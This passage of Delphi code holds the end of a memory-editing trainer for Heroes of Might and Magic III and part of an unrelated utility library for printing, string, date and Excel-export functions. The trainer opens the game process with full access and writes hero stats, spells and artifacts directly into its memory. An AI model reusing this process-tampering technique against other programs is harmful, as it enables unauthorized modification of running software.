heros[112]:='Bron'; heros[113]:='Drakon'; heros[114]:='Wystan'; heros[115]:='Tazar';

heros[116]:='Alkin'; heros[117]:='Korbac'; heros[118]:='Gerwulf'; heros[119]:='Broghild';

heros[120]:='Mirlanda'; heros[121]:='Rosic'; heros[122]:='Voy'; heros[123]:='Verdish';

heros[124]:='Merist'; heros[125]:='Styg'; heros[126]:='Andra'; heros[127]:='Tiva';

heros[128]:='Pasis'; heros[129]:='Thunar'; heros[130]:='Ignissa'; heros[131]:='Lacus';

heros[132]:='Monere'; heros[133]:='Erdamon'; heros[134]:='Fiur'; heros[135]:='Kalt';

heros[136]:='Luna'; heros[137]:='Brissa'; heros[138]:='Ciele'; heros[139]:='Labetha';

heros[140]:='Inteus'; heros[141]:='Aenain'; heros[142]:='Gelare'; heros[143]:='Grindan';

heros[144]:='Sir Mullich';heros[145]:='Adrienne';heros[146]:='Catherine'; heros[147]:='Dracon';

heros[148]:='Gelu'; heros[149]:='Kilgor'; heros[150]:='Lord Haart';heros[151]:='Mutare';

heros[152]:='Roland'; heros[153]:='Mutare Drake';heros[154]:='Boragus';heros[155]:='Xeron';

end;

procedure TForm1.ComboBox1Change(Sender: TObject); //取得当前英雄的内存地址

var

OrrinBuffer:array[0..4] of byte;

i:integer;

lpNumberOfBytesWritten: DWORD;

begin

ListBox1.Items.Clear;

if isdebug=0 then //未执行OpenProcess

begin

winhwnd:=FindWindow(NIL,'Heroes of Might and Magic III: Armageddon''s Blade');

if winhwnd=0 then winhwnd:=FindWindow(NIL,'Heroes of Might and Magic III');

if winhwnd=0 then showmessage('Heroes III is not running');

threadId:=GetWindowThreadProcessId(winhwnd,@pId) ;

if threadId=0 then showmessage('not find id');

hProcess:=OpenProcess(PROCESS_ALL_ACCESS,true, pId);

isdebug:=1;

//查找英雄数据区基地址heroBaseAdd

for i:=5 to 20 do //in least add 600000

begin

ReadProcessMemory(hProcess,ptr(heroBaseAdd), @OrrinBuffer,5, lpNumberOfBytesWritten);

//英雄数据区基地址处的值应是第一个英雄的名字：”Orrin”

if (OrrinBuffer[0]=79) and (OrrinBuffer[1]=114)

and (OrrinBuffer[2]=114) and (OrrinBuffer[3]=105)

and (OrrinBuffer[4]=110) then break;

if (i mod 2)=1 then //

heroBaseAdd:=heroBaseAdd+$10000 // <--光盘版比硬盘版多$10000

else

heroBaseAdd:=$015c7f63+$100000*(i div 2) +$30000; //硬盘版

end;

end;

//得到欲修改的英雄的序号

heroname:=Pchar(combobox1.text);

for i :=0 to 165 do

begin

if strcomp(heros[i],heroname)=0 then

begin

heroadd:=i;

exit;

end;

end;

end;

procedure TModifyThread.Execute; //修改英雄属性页的设置

var

lpBuffer: array[0..56] of byte;

four: array[0..3] of byte;

lpNumberOfBytesWritten: DWORD;

i:integer;

begin

for i := 0 to 27 do

begin

lpBuffer[i]:=3;

end;

for i := 28 to 35 do

begin

lpBuffer[i]:=i-27;

end;

lpBuffer[56]:=27; //总共有27项魔法

lpBuffer[12]:=0; //不设置招魂术

four[0]:=Form1.UpDown1.Position;

four[1]:=Form1.UpDown2.Position;

four[2]:=Form1.UpDown3.Position;

four[3]:=Form1.UpDown4.Position;

if Form1.CheckBox1.Checked=true then //增加第二技能

begin

if not WriteProcessMemory(hProcess,ptr(heroBaseAdd+heroadd*$492+$A6), @lpBuffer,

57, lpNumberOfBytesWritten) then

showmessage('Write mem Error');

end;

if Form1.CheckBox2.Checked=true then //设置第一技能

begin

if not WriteProcessMemory(hProcess,ptr(heroBaseAdd+heroadd*$492+$453), @four,

4, lpNumberOfBytesWritten) then

showmessage('Write mem Error');

end;

end;

procedure TForm1.CheckBox2Click(Sender: TObject);

begin

edit1.Enabled:=not(edit1.Enabled);

edit2.Enabled:=not(edit2.Enabled);

edit3.Enabled:=not(edit3.Enabled);

edit4.Enabled:=not(edit4.Enabled);

updown1.Enabled:=not(updown1.Enabled);

updown2.Enabled:=not(updown2.Enabled);

updown3.Enabled:=not(updown3.Enabled);

updown4.Enabled:=not(updown4.Enabled);

end;

procedure TForm1.B_nolimitClick(Sender: TObject); //无限机动力

var

newdistance: array[0..1] of byte;

lpNumberOfBytesWritten: DWORD;

begin

newdistance[0]:=$99;

newdistance[1]:=$99;

if not WriteProcessMemory(hProcess,ptr(heroBaseAdd+heroadd*$492+$2A), @newdistance,

2, lpNumberOfBytesWritten) then

showmessage(inttostr(getlasterror)+'Write mem Error');

if not SetForegroundWindow(winhWnd) then

showmessage(inttostr(getlasterror));

end;

procedure TForm1.B_alldayClick(Sender: TObject); //锁定机动力

begin

if B_allday.Caption=str1 then

begin

B_allday.Caption:=str2;

Timer1.Enabled:=true;

end

else

begin

B_allday.Caption:=str1;

Timer1.Enabled:=False;

end;

end;

procedure TForm1.Timer1Timer(Sender: TObject); //锁定机动力

var

olddistance: array[0..1] of byte;

newdistance: array[0..1] of byte;

lpNumberOfBytesWritten: DWORD;

begin

if not ReadProcessMemory(hProcess,ptr(heroBaseAdd+heroadd*$492+$26), @olddistance,

2, lpNumberOfBytesWritten) then

showmessage(inttostr(getlasterror)+'Read mem Error');

newdistance[0]:=olddistance[0];

newdistance[1]:=olddistance[1];

if not WriteProcessMemory(hProcess,ptr(heroBaseAdd+heroadd*$492+$2A), @newdistance,

2, lpNumberOfBytesWritten) then

showmessage(inttostr(getlasterror)+'Write mem Error');

if not SetForegroundWindow(winhWnd) then

showmessage(inttostr(getlasterror));

end;

procedure TForm1.B_okToAddArtifactClick(Sender: TObject); //增加宝物

var

i:integer;

Artifact:array[0..7] of byte;

lpNumberOfBytesWritten: DWORD;

begin

Artifact[1]:=0; Artifact[2]:=0; Artifact[3]:=0;

Artifact[4]:=$FF; Artifact[5]:=$FF; Artifact[6]:=$FF; Artifact[7]:=$FF;

for i:=0 to Form1.ListBox1.Items.Count-1 do

begin

Artifact[0]:=ComboBox2.Items.IndexOf(listbox1.Items.Strings[i])+2;

if Artifact[0]<>2 then

Artifact[0]:=Artifact[0]+4;

if not WriteProcessMemory(hProcess,ptr(heroBaseAdd+heroadd*$492+$1B1+8*i), @Artifact,

8, lpNumberOfBytesWritten) then

showmessage(inttostr(getlasterror)+'Write mem Error');

end;

if not SetForegroundWindow(winhWnd) then

showmessage(inttostr(getlasterror));

end;

procedure TForm1.B_addClick(Sender: TObject);

begin

ListBox1.Items.Add(ComboBox2.Text);

end;

procedure TForm1.B_returnClick(Sender: TObject);

begin

showwindow(winhwnd,SW_MAXIMIZE);

end;

procedure TForm1.B_RemoveClick(Sender: TObject);

begin

ListBox1.Items.Delete(ListBox1.ItemIndex);

ListBox1.ItemIndex:=0;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

if hProcess <>0 then closehandle(hProcess); //关闭句柄

end;

end.


一个函数集
unit MyLib;

interface

uses

classes, Printers, DBGrids, Graphics, Sysutils, Windows, Forms, DB, Grids,

Dialogs, ComObj, Controls,StdCtrls;

type

TPrnOut = class(TObject)

procedure PrintHeader(s:string);

procedure PrintFoot(s:string);

procedure PrintLine(x1,y1,x2,y2:integer);

procedure PrintRow(Items:TStringList;rowDBGrid:TDBGrid);

procedure PrintColumns(colDBGrid:TDBGrid);

procedure PrintRecords(recDBGrid:TDBGrid);

procedure PrintPart(MDBG,PDBG:TDBGrid);

procedure SingleDBGPrint(DBgrid:TDBGrid;Header,Footer:string);

procedure DoubleDBGPrint(MainDBG,PartDBG:TDBGrid;Header,Footer:string);

private

{ Private declarations }

strHead,strFoot:string;

iPage:integer;

iWordWidth,iWordHeight:integer; //单位字宽与字高

iAmount:integer;

iPageHeight,iPageWidth:integer; //有效打印区域高度与宽度

PixelsInInchX:integer;

{Number of pixels in 1/10 of an inch.This is used for lin spacing}

TenthsOfInchPixelsY: Integer;

public

{ Public declarations }

end;

{TStrGridPrn}

type

TStrGridPrn = class(TObject)

procedure PrintHeader(s:string);

procedure PrintFoot(s:string);

procedure PrintLine(x1,y1,x2,y2:integer);

procedure PrintRow(Items:TStringList;StrGrid:TStringGrid);

procedure PrintColumns(StrGrid:TStringGrid);

procedure PrintRecords(StrGrid:TStringGrid);

procedure StrGridPrint(StrGrid:TStringGrid;Header,Footer:string);

private

{ Private declarations }

strHead,strFoot:string;

iPage:integer;

iWordWidth,iWordHeight:integer; //单位字宽与字高

iAmount:integer;

iPageHeight,iPageWidth:integer; //有效打印区域高度与宽度

PixelsInInchX:integer;

{Number of pixels in 1/10 of an inch.This is used for lin spacing}

TenthsOfInchPixelsY: Integer;

public

{ Public declarations }

end;

type

TRMB = Class(TObject)

Function BigRBM(sn:Double):String;

private

{ Private declarations }

public

{ Public declarations }

end;

type

TDBExcel =class(TObject)

procedure DBToExcel(DBGrid:TDBGrid);

private

{ Private declarations }

public

{ Public declarations }

end;

{我的自编函数集}

function StrFormat(ch:Char;s:string;len,index:integer):string;

//格式化一个字符串s，在index处加字符ch，使其长度len，

funCtion FormatStr(ch,s:string;Len:Integer):string;

//在字符串S前加若干个CH使期长度变为LEN

function CharInStr(ch:char;s:string):integer;

//计算字符串s里字符ch的数量

function IsNumeric(s:string):Boolean;

{判断字符串是否可以转换成数值。返回True表示可以}

function ClearSpace(s:string):string;

{清除字符串中的所有空格}

function IsEndOfMonth(Date:TDateTime):Boolean;

{判断Date是否为月末最后一天}

function IsEndOfYear(Date:TDateTime):Boolean;

{判断Date是否为年末最后一天}

function GetOSInfo:string;

{获取操作系统信息}

procedure StrGridMove(sg:TStringGrid;FromIndex,ToIndex:Integer);

{移动字符串栅格行}

procedure StrGridDel(strgrd:TStringGrid;id:Integer);

{删除一行}

function RunSQL:String;

{生成万能查询语句}

(*procedure RunFile(FileName,paramer,path:string);

{运行文件，fn为文件名，pm为参数，出错则显示信息}

*)

function ToTime(DateTime:TDateTime;day,hour,minute,second:{加减量}integer):TDateTime;

//加减时间

procedure TimeMinus(dt1,dt2:TDateTime;var Day,Hour,Minute,Second:Integer);

//求两时间差值，返回日、时、分、秒。

funCtion InputStr(t,p,DefaultValue:string;Pass:Boolean):string;

//类似于InputBox

implementation

uses RunSQL,ShellAPI;

{我的函数}

funCtion InputStr(t,p,DefaultValue:string;Pass:Boolean):string;

var

Form:TForm;

edit:TEdit;

btnOK,btnCancel:TButton;

begin

Form :=TForm.Create(Application);

with Form do

begin

BorderStyle :=bsDialog;

FormStyle :=fsStayOnTop;

with Font do

begin

Height :=-14;

Name :='宋体';

Size :=11;

Pitch :=fpDefault;

style :=[];

end;

Height :=151;

Width :=293;

Position :=poDesktopCenter;

Caption :=t;

with TLabel.Create(Form) do

begin

Parent := Form;

Top :=16;

Left :=24;

Caption :=p;

end;

Edit :=TEdit.Create(Form);

with Edit do

begin

Parent := Form;

Top :=40;

Left :=24;

Width :=241;

Text :=DefaultValue;

if pass then PasswordChar :='*'

else PasswordChar :=#0;

SelectAll;

end;

btnOK :=TButton.Create(Form);

with btnOK do

begin

Parent := Form;

Top := 88;

Left := 58;

Caption :='确定(&O)';

ModalResult :=mrOK;

Default :=True;

end;

btnCancel :=TButton.Create(Form);

with btnCancel do

begin

Parent := Form;

Top := 88;

Left := 154;

Caption :='取消(&C)';

ModalResult :=mrCancel;

end;

if ShowModal=mrOK then

begin

Result := Edit.Text;

end;

Free;

end;

end;

procedure TimeMinus(dt1,dt2:TDateTime;var Day,Hour,Minute,Second:Integer);

var

d:Real;

h,m,s:integer;

hh1,mm1,ss1,ms1,hh2,mm2,ss2,ms2:word;

begin

try

{两个时间差}

DecodeTime(dt1,hh1,mm1,ss1,ms1);

DecodeTime(dt2,hh2,mm2,ss2,ms2);

except

Exit;

end;

d:=int(dt1-dt2);

h:=hh1;

m:=mm1;

s:=ss1;

if s<ss2 then

begin

m:=m-1;

s:=s+60;

end;

if m<mm2 then

begin

h:=h-1;

m:=m+60;

end;

if h<hh2 then

begin

d :=d-1;

h:=h+24;

end;

{返回day,hour,minute,second}

day :=round(d);

hour :=h-hh2;

minute :=m-mm2;

second :=s-ss2;

end;

function ToTime(DateTime:TDateTime;day,hour,minute,second:{加减量}integer):TDateTime;

var

hh,mm,ss,ms:word;

hx,mx,sx:integer; //新时间值

dt:TDate;

begin

dt :=DateTime;

DecodeTime(DateTime,hh,mm,ss,ms);

hx:=hh;

mx:=mm;

sx:=ss;

{秒}

sx:=sx+second;

if sx<0 then

begin

minute :=minute + (sx div 60)-1;

sx :=60 +(sx mod 60);

end

else if sx>=60 then

begin

minute :=minute+(sx div 60);

sx :=sx mod 60;

end;

{分}

mx :=mx+minute;

if mx<0 then

begin

hour :=hour+(mx div 60)-1;

mx :=60+(mx mod 60);

end

else if mx>=24 then

begin

hour :=hour+(mx div 60);

mx :=mx mod 60;

end;

{时}

hx :=hx+hour;

if hx<0 then

begin

day :=day+(hx div 24)-1;

hx :=24+(hx mod 24);

end

else if hx>=24 then

begin

day :=day+(hx div 24);

hx :=hx mod 24;

end;

{天}

dt :=dt+day;

DateTime :=StrToDateTime(DateToStr(dt)+' '+IntToStr(hx)+':'+IntToStr(mx)+

':'+IntToStr(sx)+':');

Result :=DateTime;

end;

funCtion FormatStr(ch,s:string;Len:Integer):string;

//在字符串S前加若干个CH使期长度变为LEN

begin

while (len-length(s)>0) do s:=ch+s;

Result :=s;

end;

function StrFormat(ch:Char;s:string;len,index:integer):string;

begin

while Len>=Length(s) do

Insert(ch,s,index);

Result :=s;

end;

function CharInStr(ch:char;s:string):integer;

//计算字符串s里字符ch的数量

var

i,count:integer;

begin

count:=0;

for i:=1 to length(s) do

if s[i]=ch then inc(count);

Result:=count;

end;

{判断数值}

function IsNumeric(S:string):Boolean;

var

i:integer;

begin

Result :=True;

for i:=1 to Length(s) do

begin

if (s[i] in ['0'..'9','.','+','-']) then

begin

if i>1 then

if (s[i]='+') or (s[i]='-') then Result :=False;

end

else Result :=false;

end; //for

if CharInStr('.',s)>1 then Result :=False;

end;

{清除空格}

function ClearSpace(s:string):string;

begin

while pos(' ',s)>0 do

delete(s,pos(' ',s),1);

Result:=s;

end;

//判断Date是否为月末最后一天

function IsEndOfMonth(Date:TDateTime):Boolean;

var

yy,mm,dd:Word;

begin

DecodeDate(Date,yy,mm,dd);

inc(mm);

if mm=13 then

begin

inc(yy);

mm :=1;

end;

Result :=(EncodeDate(yy,mm,1)-Date<1);

end;

//判断Date是否为年末最后一天

function IsEndOfYear(Date:TDateTime):Boolean;

var

yy,mm,dd:Word;

begin

DecodeDate(Date,yy,mm,dd);

Result :=(EncodeDate(yy+1,1,1)-Date<1);

end;

{获取操作系统信息}

function GetOSInfo:string;

var

Platform: string;

BuildNumber: Integer;

begin

case Win32Platform of

VER_PLATFORM_WIN32_WINDOWS:

begin

Platform := 'Windows 95/98';

BuildNumber := Win32BuildNumber and $0000FFFF;

end;

VER_PLATFORM_WIN32_NT:

begin

Platform := 'Windows NT';

BuildNumber := Win32BuildNumber;

end;

else

begin

Platform := 'Windows';

BuildNumber := 0;

end;

end;

if (Win32Platform = VER_PLATFORM_WIN32_WINDOWS) or

(Win32Platform = VER_PLATFORM_WIN32_NT) then

begin

if Win32CSDVersion = '' then

Result := Format('%s %d.%d (Build %d)', [Platform, Win32MajorVersion,

Win32MinorVersion, BuildNumber])

else

Result := Format('%s %d.%d (Build %d: %s)', [Platform, Win32MajorVersion,

Win32MinorVersion, BuildNumber, Win32CSDVersion]);

end

else

Result := Format('%s %d.%d', [Platform, Win32MajorVersion,

Win32MinorVersion])

end;

procedure StrGridMove(sg:TStringGrid;FromIndex,ToIndex:Integer);

var

lst:TStringList;

i,id,x:integer;

begin

lst :=TStringList.Create;

id:=ToIndex; //目标指针

if FromIndex>=ToIndex then x:=1 else x:=-1; //判断指针下移还上移

with sg do

begin

while id<>FromIndex do

begin

lst.clear;

for i:=0 to ColCount-1 do

lst.Add(Cells[i,id]);

for i:=0 to ColCount-1 do

Cells[i,id] :=Cells[i,FromIndex];

for i:=0 to ColCount-1 do

Cells[i,FromIndex] :=lst.Strings[i];

id :=id+x; //指针转移(x=-1 or x=1)

end;

end;

lst.Free;

end;

procedure StrGridDel(strgrd:TStringGrid;id:Integer);

{删除一行}

var

i,j:integer;

begin

with strgrd do

begin

if id<1 then exit;

for i:=id to RowCount-1 do

for j:=0 to colCount-1 do

begin

cells[j,i] :='';

if i<>RowCount-1 then

cells[j,i] :=cells[j,i+1]

end;

if RowCount>2 then RowCount :=RowCount-1;

end;

end;

function RunSQL:String;

begin

frmRunSQL.ShowModal;

if frmRunSQL.ModalResult=1 then

begin

Result :=frmRunSQL.SQLString;

end;

frmRunSQL.close;

frmRunSQL.Free;

end;

(*

procedure RunFile(FileName,paramer,path:string);

var

Resulr:THandle;

begin

result:=ShellExecute(Handle,nil,PChar(FileName),

PChar(paramer),PChar(path),SW_SHOW);

case Result of

0:Application.MessageBox('操作系统内存资源不足！',PChar('打开文件'+FileName),MB_OK+MB_ICONError);

ERROR_FILE_NOT_FOUND：

Application.MessageBox('文件找不到！',PChar('打开文件'+FileName),MB_OK+MB_ICONError);

ERROR_PATH_NOT_FOUND：

Application.MessageBox('路径找不到！',PChar('打开文件'+FileName),MB_OK+MB_ICONError);

ERROR_BAD_FORMAT：

Application.MessageBox('文件执行格式错误，不能打开！',PChar('打开文件'+FileName),MB_OK+MB_ICONError);

SE_ERR_ASSOCINCOMPLETE：

Application.MessageBox('文件名错误！',PChar('打开文件'+FileName),MB_OK+MB_ICONError);

else

Application.MessageBox('文件运行错误！',PChar('打开文件'+FileName),MB_OK+MB_ICONError);

end;

end;

*)

{TPrnOut}

procedure TPrnOut.PrintHeader(s:string);

begin

{页头打印}

if s='' then s :='<无标题>';

With Printer do

begin

with Canvas.Font do

begin

Size :=12;

Name:='宋体';

end;

if (not Aborted) then

Canvas.TextOut((PageWidth div 2)-(Canvas.TextWidth(s) div 2),0,s);

iAmount :=iAmount+Canvas.TextHeight(s)*2;

end;

end;

procedure TPrnOut.PrintFoot(s:string);

var

str:string;

begin

{页脚打印}

if s='' then str:=s+'第'+IntToStr(iPage)+'页'

else str:= s +' '+'第'+IntToStr(iPage)+'页';

With Printer do

if (not Aborted) then

Canvas.TextOut((PageWidth div 2)-(Canvas.TextWidth(str) div 2),

(iPageHeight-iWordHeight),str);

iAmount :=0;

iPage :=iPage+1;

end;

procedure TPrnOut.PrintLine(x1,y1,x2,y2:integer);

begin

with Printer.Canvas do

begin

MoveTo(x1,y1);

LineTo(x2,y2);

end;

end;

procedure TPrnOut.PrintRow(Items:TStringList;rowDBGrid:TDBGrid);

var

OutRect:TRect;

i:integer;

Inches:Double;

begin

OutRect.Left :=50;

OutRect.Top :=iAmount;

With Printer.Canvas do

begin

for i := 0 to Items.Count -1 do

begin

Inches :=LongInt(Items.Objects[i])*0.1;

OutRect.Right :=OutRect.Left + Round(PixelsInInchx * Inches);

if OutRect.Right>iPageWidth then

begin

{换行打印}

OutRect.Left :=70;

OutRect.Right :=70+OutRect.Left + Round(PixelsInInchx * Inches);

iAmount := iAmount + iWordHeight;

OutRect.Top := iAmount;

end;

{换页}

if (iAmount+iWordHeight)>(iPageHeight-iWordHeight) then

begin

PrintFoot(''); //打印页脚

iAmount :=0;

if not Printer.Aborted then

Printer.NewPage;

PrintHeader('');

PrintColumns(rowDBGrid); //打印列头

OutRect.Left :=70;

OutRect.Right :=70+OutRect.Left + Round(PixelsInInchx * Inches);

iAmount := iAmount + iWordHeight;

OutRect.Top := iAmount;

end;

if not printer.Aborted then

TextRect(OutRect,OutRect.Left,OutRect.Top,Items[i]);

OutRect.Left :=OutRect.Right;

end;

end;

iAmount :=iAmount + iWordHeight+2;

end;

procedure TPrnOut.PrintColumns(colDBGrid:TDBGrid);

var

lst:TStringList;

i:integer;

begin

{打印列标题}

lst :=TStringList.Create;

try

{获取打印机字的大小}

with printer.Canvas do

begin

Font.Style :=[fsBold,fsUnderline];

iWordWidth :=TextWidth('x');

iWordHeight :=TextHeight('x');

end;

for i:=0 to colDBGrid.Columns.Count-1 do

lst.AddObject(colDBGrid.Columns[i].Title.Caption,

Pointer((colDBGrid.Columns[i].Width div 10)+2));

PrintRow(lst,colDBGrid);

Printer.Canvas.Font.Style :=[];

Except

lst.Free;

printer.EndDoc;

end;

end;

procedure TPrnOut.PrintRecords(recDBGrid:TDBGrid);

var

lst:TStringList;

i:integer;

begin

{打印记录}

lst :=TStringList.Create;

try

with recDBGrid.DataSource.DataSet do

begin

First;

While (not Eof) or Printer.Aborted do

begin

Application.ProcessMessages;

for i:=0 to recDBGrid.Columns.Count-1 do

lst.AddObject(recDBGrid.Columns[i].Field.DisplayText,

Pointer((recDBGrid.Columns[i].Width div 10)+2));

PrintRow(lst,recDBGrid); //行打印

lst.Clear;

Next;

end;

end;

finally

lst.Free;

end;

end;

procedure TPrnOut.PrintPart(MDBG,PDBG:TDBGrid);

var

lst:TStringList;

i:integer;

begin

lst :=TStringList.Create;

try

with MDBG.DataSource.DataSet do

begin

First;

While (not Eof) do

begin

Application.ProcessMessages;

for i:=0 to FieldDefs.Count-1 do

lst.AddObject(MDBG.Columns[i].Field.DisplayText,

Pointer((MDBG.Columns[i].Width div 10)+2));

PrintRow(lst,MDBG); //行打印

lst.Clear;

PrintColumns(PDBG);

PrintRecords(PDBG);

Next;

end;

end;

finally

lst.Free;

end;

end;

procedure TPrnOut.SingleDBGPrint(DBGrid:TDBGrid;

Header,Footer:string);

begin

screen.Cursor :=crHourglass;

strHead :=Header;

strFoot :=Footer;

iPage :=1;

{单表打印}

try

with Printer do

begin

PixelsInInchX :=GetDeviceCaps(Handle,LOGPIXELSX);

TenthsOfInchPixelsY :=GetDeviceCaps(Printer.Handle,LOGPIXELSY) div 10;

iPageHeight :=PageHeight;

iPageWidth :=PageWidth; //减去左右边距

Canvas.Font.Size :=11;

BeginDoc;

end;

{打印页头}

PrintHeader(Header);

{打印标题栏：粗体，下划线}

PrintColumns(DBGrid);

{循环打印记录}

PrintRecords(DBGrid);

{打印页脚：页码}

PrintFoot(Footer);

finally

printer.EndDoc;

screen.Cursor :=crDefault;

end;

end;

procedure TPrnOut.DoubleDBGPrint(MainDBG,PartDBG:TDBGrid;

Header,Footer:string);

begin

screen.Cursor :=crHourglass;

iPage :=1;

{明细表打印}

try

with Printer do

begin

PixelsInInchX :=GetDeviceCaps(Handle,LOGPIXELSX);

TenthsOfInchPixelsY :=GetDeviceCaps(Printer.Handle,LOGPIXELSY) div 10;

iPageHeight :=PageHeight;

iPageWidth :=PageWidth; //减去左右边距

Canvas.Font.Size :=11;

BeginDoc;

end;

{打印页头}

PrintHeader(Header);

{打印标题栏：粗体，下划线}

PrintColumns(MainDBG);

{循环打印记录}

PrintPart(MainDBG,PartDBG);

{打印页脚：页码}

PrintFoot(Footer);

{新页起始：重复上面工作}

finally

printer.EndDoc;

screen.Cursor :=crDefault;

end;

end;

{TStrGridPrn}

procedure TStrGridPrn.PrintHeader(s:string);

begin

{页头打印}

if s='' then s :='<无标题>';

With Printer do

begin

with Canvas.Font do

begin

Size :=12;

Name:='宋体';

end;

if (not Aborted) then

Canvas.TextOut((PageWidth div 2)-(Canvas.TextWidth(s) div 2),0,s);

iAmount :=iAmount+Canvas.TextHeight(s)*2;

end;

end;

procedure TStrGridPrn.PrintFoot(s:string);

var

str:string;

begin

{页脚打印}

if s='' then str:=s+'第'+IntToStr(iPage)+'页'

else str:= s +' '+'第'+IntToStr(iPage)+'页';

With Printer do

if (not Aborted) then

Canvas.TextOut((PageWidth div 2)-(Canvas.TextWidth(str) div 2),

(iPageHeight-iWordHeight),str);

iAmount :=0;

iPage :=iPage+1;

end;

procedure TStrGridPrn.PrintLine(x1,y1,x2,y2:integer);

begin

with Printer.Canvas do

begin

MoveTo(x1,y1);

LineTo(x2,y2);

end;

end;

procedure TStrGridPrn.PrintRow(Items:TStringList;StrGrid:TStringGrid);

var

OutRect:TRect;

i:integer;

Inches:Double;

begin

OutRect.Left :=50;

OutRect.Top :=iAmount;

With Printer.Canvas do

begin

for i := 0 to Items.Count -1 do

begin

Inches :=LongInt(Items.Objects[i])*0.1;

OutRect.Right :=OutRect.Left + Round(PixelsInInchx * Inches);

if OutRect.Right>iPageWidth then

begin

{换行打印}

OutRect.Left :=70;

OutRect.Right :=70+OutRect.Left + Round(PixelsInInchx * Inches);

iAmount := iAmount + iWordHeight;

OutRect.Top := iAmount;

end;

{换页}

if (iAmount+iWordHeight)>(iPageHeight-iWordHeight) then

begin

PrintFoot(''); //打印页脚

iAmount :=0;

if not Printer.Aborted then

Printer.NewPage;

PrintHeader('');

PrintColumns(StrGrid); //打印列头

OutRect.Left :=70;

OutRect.Right :=70+OutRect.Left + Round(PixelsInInchx * Inches);

iAmount := iAmount + iWordHeight;

OutRect.Top := iAmount;

end;

if not printer.Aborted then

TextRect(OutRect,OutRect.Left,OutRect.Top,Items[i]);

OutRect.Left :=OutRect.Right;

end;

end;

iAmount :=iAmount + iWordHeight+2;

end;

procedure TStrGridPrn.PrintColumns(StrGrid:TStringGrid);

var

lst:TStringList;

i:integer;

begin

{打印列标题}

lst :=TStringList.Create;

try

{获取打印机字的大小}

with printer.Canvas do

begin

Font.Style :=[fsBold,fsUnderline];

iWordWidth :=TextWidth('x');

iWordHeight :=TextHeight('x');

end;

for i:=0 to StrGrid.ColCount-1 do

lst.AddObject(StrGrid.Cells[i,0],

Pointer((StrGrid.ColWidths[i] div 10)+2));

PrintRow(lst,StrGrid);

Printer.Canvas.Font.Style :=[];

Except

lst.Free;

printer.EndDoc;

end;

end;

procedure TStrGridPrn.PrintRecords(StrGrid:TStringGrid);

var

lst:TStringList;

i,iRow:integer;

begin

{打印记录}

lst :=TStringList.Create;

try

for iRow :=1 to StrGrid.RowCount-1 do

begin

Application.ProcessMessages;

for i:=0 to StrGrid.ColCount-1 do

lst.AddObject(StrGrid.Cells[i,iRow],

Pointer((StrGrid.ColWidths[i] div 10)+2));

PrintRow(lst,StrGrid); //行打印

lst.Clear;

end;

finally

lst.Free;

end;

end;

procedure TStrGridPrn.StrGridPrint(StrGrid:TStringGrid;

Header,Footer:string);

begin

screen.Cursor :=crHourglass;

strHead :=Header;

strFoot :=Footer;

iPage :=1;

{单表打印}

try

with Printer do

begin

PixelsInInchX :=GetDeviceCaps(Handle,LOGPIXELSX);

TenthsOfInchPixelsY :=GetDeviceCaps(Printer.Handle,LOGPIXELSY) div 10;

iPageHeight :=PageHeight;

iPageWidth :=PageWidth; //减去左右边距

Canvas.Font.Size :=11;

BeginDoc;

end;

{打印页头}

PrintHeader(Header);

{打印标题栏：粗体，下划线}

PrintColumns(StrGrid);

{循环打印记录}

PrintRecords(StrGrid);

{打印页脚：页码}

PrintFoot(Footer);

finally

printer.EndDoc;

screen.Cursor :=crDefault;

end;

end;

{TRMB}

function TRMB.BigRBM(sn:Double):String;

var

dx:array[1..14] of string;

dd:array[0..9] of string;

s,ss:string;

L,i,n:integer;

zero,plus:boolean;

begin

{单位}

dx[1]:='分';

dx[2]:='角';

dx[3]:='元';

dx[4]:='拾';

dx[5]:='佰';

dx[6]:='仟';

dx[7]:='万';

dx[8]:='拾';

dx[9]:='佰';

dx[10]:='仟';

dx[11]:='亿';

dx[12]:='拾';

dx[13]:='佰';

dx[14]:='仟';

{数值}

dd[0]:='零';

dd[1]:='壹';

dd[2]:='贰';

dd[3]:='叁';

dd[4]:='肆';

dd[5]:='伍';

dd[6]:='陆';

dd[7]:='柒';

dd[8]:='捌';

dd[9]:='玖';

zero :=False;

sn :=sn*100; //把小数前两位转换成整数

if sn<0 then //取得符号标志值plus

begin

plus:=False; //负数

sn:=sn*(-1); //变成正数

end

else if sn>0 then plus:=True

else //等于0

begin

Result :='零元整';

exit;

end;

ss:=FloatToStr(int(sn)); //截取整数部份，再转换为字符串

L:=length(ss); //取得长度

for i:=1 to L do

begin

n:=StrToInt(copy(ss,L-i+1,1)); //取得单个数字

if n=0 then

begin

if (i=3) or (i=11) then s:=dx[i]+s //元、亿前不写0

else if (i=7) then

begin

if (StrToInt(Copy(ss,L-9,4))<>0) then

begin

if zero then s:=dx[i]+s //当千万至万不为0时，只写"万"

else if (not zero) then s:=dx[i]+dd[n]+s;

end

else

begin

if not zero then s:=dd[n]+s;

end;

end

else if (not zero) and (i>1) then s:=dd[n]+s; //当后耐不是0并为整数位时，写0

Zero :=True;

end

else

begin

s:=dd[n]+dx[i]+s; //正常

Zero:=False;

end;

end;

if plus then Result :=s+'整'

else Result :='负'+s+'整';

end;

{ TDBExcel }

procedure TDBExcel.DBToExcel(DBGrid: TDBGrid);

var

eclApp,WorkBook:Variant; {声明为OLE Automation对象}

xlsFileName:string;

i,j:integer;

sDlg :TSaveDialog;

begin

screen.Cursor :=crHourglass;

xlsFileName:='NoName.xls';

try

{创建OLE对象：Excel Application与WordBook}

eclApp:=CreateOleObject('Excel.Application');

WorkBook:=CreateOleObject('Excel.Sheet');

Except

screen.Cursor :=crDefault;

Application.MessageBox('你的机器没有安装Microsoft Excel',

'数据导出',MB_OK+MB_ICONWarning);

Exit;

End;

{读出记录，并写入EXCEL}

with DBGrid.DataSource.DataSet do

begin

if Active=False then

begin

Application.MessageBox('数据库没有打开！',

'数据导出',MB_OK+MB_ICONWarning);

Workbook.Close;

EclApp.Quit; //退出Excel Application

{释放Variant变量}

eclApp:=Unassigned;

Exit;

end;

try

WorkBook:=eclApp.workbooks.Add;

Except

screen.Cursor :=crDefault;

Application.MessageBox('Excel工作表添加操作失败！',

'数据导出',MB_OK+MB_ICONError);

Workbook.Close;

EclApp.Quit; //退出Excel Application

{释放Variant变量}

eclApp:=Unassigned;

Exit;

end;

{写标题}

screen.Cursor :=crHourGlass;

for i:=0 to DBGrid.Columns.Count-1 do

begin

try

EclApp.Cells(1,i+1):=DBGrid.Columns[i].Title.Caption;

except

screen.Cursor :=crDefault;

Application.MessageBox('数据写入Excel失败！',

